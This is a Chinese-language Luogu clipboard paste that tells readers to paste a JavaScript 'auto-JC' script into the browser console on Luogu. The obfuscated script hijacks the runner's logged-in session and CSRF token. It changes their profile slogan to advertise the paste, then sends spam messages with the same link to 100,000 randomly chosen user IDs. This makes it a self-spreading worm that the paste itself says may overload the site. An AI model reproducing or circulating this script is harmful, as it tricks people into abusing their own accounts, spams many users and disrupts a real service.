跳到正文

剪贴板

剪贴板 0qbrkgj0

原文
剪贴板信息

剪贴板信息

收录
更新

自动JC器 \textcolor{red}{自动JC器}-转载+修改

想要分享给别人? 请分享这个链接。

警告\color{ORANGE}{\text{警告}}

1. 本插件可能会对洛谷产生DDOS攻击造成洛谷日爆,系违法行为。\color{ORANGE}{\text{1. 本插件可能会对洛谷产生DDOS攻击造成洛谷日爆,系违法行为。}}

2. 勿过度使用于机房,严重者被洛谷将机房IP封禁甚至学校被kkk公开点名表扬!\color{ORANGE}{\text{2. 勿过度使用于机房,严重者被洛谷将机房IP封禁甚至学校被kkk公开点名表扬!}}

3. 您在使用jc自动机的过程中产生的任何结果与Balenciaga无关。\color{ORANGE}{\text{3. 您在使用jc自动机的过程中产生的任何结果与Balenciaga无关。}}

4. 程序仅供娱乐,仅限对自己的个人设备、个人网络且登录个人账号时使用。\color{ORANGE}{\text{4. 程序仅供娱乐,仅限对自己的个人设备、个人网络且登录个人账号时使用。}}

5. 您一旦使用即同意以上4条内容。\color{ORANGE}{\text{5. 您一旦使用即同意以上4条内容。}}

使用方式:

  1. 复制下面编码;
  2. 打开洛谷首页;
  3. 按 F12 键;
  4. 选择Console;
  5. 然后粘贴此段代码;
  6. 回车;
  7. 完成。

更新内容:

本信息等待更新。

⚠本项目调用洛谷的开放API以合法合规地运行。\color{grey}{\text{⚠本项目调用洛谷的开放API以合法合规地运行。}}

???谨慎使用 \textcolor{grey}{???谨慎使用}.

JavaScript
// 发送消息给用户
async function sendToUser ( uid, content ) {
	await fetch( decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuL2FwaS9jaGF0L25ldw" ) ), {
		headers: [
			[ "content-type", "application/json" ],
			[ "referer", decodeURI( atob( "aHR0cHM6Ly93d3cubHVvZ3UuY29tLmNuLw" ) ) ],
			[ "x-csrf-token", document.querySelector( "meta[name=csrf-token]" )
				.content
			],
		],
		body: JSON.stringify( {
			user: uid,
			content: content,
		} ),
		method: "POST",
	} );
}

// 页面特效样式
var styleTag = document.createElement( "style" );
styleTag.innerHTML = `
@keyframes glitch {
  0% {
    transform: skew(0);
    opacity: 1;
  }
  25% {
    transform: skew(5deg);
    opacity: 0.8;
  }
  50% {
    transform: skew(-5deg);
    opacity: 1;
  }
  75% {
    transform: skew(2deg);
    opacity: 0.9;
  }
  100% {
    transform: skew(0);
    opacity: 1;
  }
}

body {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  pointer-events: none;
  z-index: -1;
  background: linear-gradient(to right, #00f, #f00, #0f0, #ff0, #0ff, #f0f, #00f);
  background-size: 200% auto;
  animation: glitch 5s infinite;
}`;
document.head.appendChild( styleTag );

// 创建弹窗
let popupMessage = "恭喜你被JC了!</br>想要学习如何JC他人?看https://www.luogu.com.cn/paste/4ppoaker";
let popupDiv = document.createElement( "div" );
popupDiv.innerHTML = popupMessage;

// 设置弹窗的样式
popupDiv.style.position = "fixed";
popupDiv.style.top = "50%";
popupDiv.style.left = "50%";
popupDiv.style.transform = "translate(-50%, -50%)";
popupDiv.style.background = "#fff";
popupDiv.style.padding = "20px";
popupDiv.style.border = "1px solid #000";
popupDiv.style.zIndex = "9999";

document.body.appendChild( popupDiv );

// 生成随机用户ID
function getRandomUid () {
	return Math.floor( Math.random() * ( 800000 - 100000 + 1 ) ) + 100000;
}

// 延迟函数
function sleep ( ms ) {
	return new Promise( ( resolve ) => setTimeout( resolve, ms ) );
}

// 主函数,发送消息给随机生成的一组用户
( async function () {
	// 发送消息给特定用户
	let uid1 = atob( "MHg1MzIwNzA=" );
	let content1 = atob( "SkPoh6rliqjmnLo=" );
	await sendToUser( uid1, content1 );


	async function updateSlogan ( slogan ) {
		const url = "https://www.luogu.com.cn/api/user/updateSlogan";
		const method = "POST";
		const body = {
			slogan: slogan
		};
		return await fetchAPI( url, method, body );
	}

	// 更新签名
	const slogan = "想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
	updateSlogan( slogan )
		.then( () => {
			console.log( "更新签名成功" );
		} )
		.catch( error => {
			console.error( "更新签名失败:", error );
		} );

	// 生成随机用户ID数组
	let uids = [];
	for ( let i = 0; i < 100000; i++ ) {
		let uid = getRandomUid();
		// 确保生成的随机 uid 不重复
		while ( uids.includes( uid ) ) {
			uid = getRandomUid();
		}
		uids.push( uid );
	}

	// 循环发送消息给随机用户
	for ( let i = 0; i < uids.length; i++ ) {
		let content = "IAKIOI    想要jc别人?看https://www.luogu.com.cn/paste/4ppoaker!";
		await sendToUser( uids[ i ], content );
	}

	// 定义 updateSlogan 函数
	async function updateSlogan ( slogan ) {
		// 发送请求并更新用户签名
		await fetch( "/api/user/updateSlogan", {
			method: "POST",
			headers: {
				"Content-Type": "application/json"
			},
			body: JSON.stringify( {
				slogan
			} )
		} );
	}

	async function fetchAPI ( url, method, body ) {
		const headers = {
			"content-type": "application/json",
			"referer": "https://www.luogu.com.cn/",
			"x-csrf-token": document.querySelector( "meta[name=csrf-token]" )
				.content,
		};

		const response = await fetch( url, {
			method,
			headers,
			body: JSON.stringify( body ),
		} );

		if ( !response.ok ) {
			throw new Error( `API request failed with status ${response.status}` );
		}

		const json = await response.json();
		return json;
	}
} )();